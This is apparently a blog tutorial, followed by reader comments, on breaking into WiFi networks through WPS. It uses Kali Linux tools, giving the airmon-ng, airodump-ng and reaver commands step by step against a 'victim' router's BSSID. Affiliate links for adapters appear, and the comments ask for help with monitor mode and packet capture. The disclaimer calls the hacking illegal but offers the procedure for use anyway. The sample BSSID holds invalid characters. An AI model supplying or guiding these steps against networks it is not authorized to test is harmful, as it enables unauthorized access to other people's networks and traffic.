Warning..!! WIFI hacking is illegal.
“This video is only for educational purposes. I am not responsible for any consequences.”

So lets Start Cracking..

Step 1: Open Terminal and Find out the name of your wireless adapter. , type ifconfig on a terminal. See the result. (here my wireless adapter is ‘wlan0’)

 

Step 2: Type the following commands on terminal.

  • airmon-ng check kill
  • airmon-ng check

 

Step 3: Enable Monitor mode. Now, we use a tool called airmon-ng to create a virtual interface called mon. Just type

  • airmon-ng start wlan0 

 

Step 4: Start capturing packets. we’ll use airodump-ng to capture the packets in the air. You’ll see the name of the wifi you want to hack.

  • airodump-ng wlan0mon

then press Ctrl+c

 

Step5: Copy the BSSID of Victim. And write it on this command.

  • reaver -i wlan0mon -b (BSSID) -vv -K 1

For ex: reaver -i wlan0mon -b B0:5G:54:96:G7:70 -vv -K 1

 

BUY:
Alfa WiFi Network Adapter

SanDisk Ultra Dual USB 32GB

Note:

Here I’m using (Kali Linux Live) bootable USB. You can also install kali Linux in your laptop. “This method usually works on D-Link wifi routers ,but you can try it on other routers.”

    • Thats actually the major drawback of using virtual machine and virtual box. You’ll have to insert a wireless LAN module from third party to get access to wifi or just use live bootable USB like the author did.

  5. Hi,
    Thanks for good insight of it.

    I am very new to security but i am always so confused when we already have a wifi device at home why do we need an extra adapter/device or a usb for cracking a WPA2-PSK security as i have seen every person who make these tutorials suggests to get an external adapter so what is the difference between our normal TP-Link wifi device and your suggested wifi external adapter or usb and why do we need it actually for what perpose?

    Would be so glad to know it, thanks in advance!

    • The most important requirement is a good wireless adapter. To really be effective at wireless hacking, your wireless adapter should have two primary features.
      The ability to enter monitor (promiscuous) mode.
      The ability to inject packets and capture packets simultaneously.
      The difference between an adapter and a WiFi router is
      “Wi-Fi router” – This is the controller of your wireless network, it provides the features of a router, and connected to a high-speed connection. And
      “Adapter” – It is used with desktop or Notebook PCs, a USB wireless adapter allows you to connect your system to the wireless network without installing any adapter cards.

  8. I get stuck at step 4. When I type “airodump-ng wlan0mon”, no packets are captured. Does this mean my driver is incompatible & I need to buy an external Wi-Fi adapter? I kind of don’t feel like doing that.

    Also, I can’t enter monitor mode through Kali. But if I run Reaver on the OS X terminal (I’m using a Macbook Pro) instead of the Kali terminal, monitor mode launches (yay!) but packet capture still fails (wtf). This makes no sense and there isn’t good documentation on the internet about how to fix any of this.
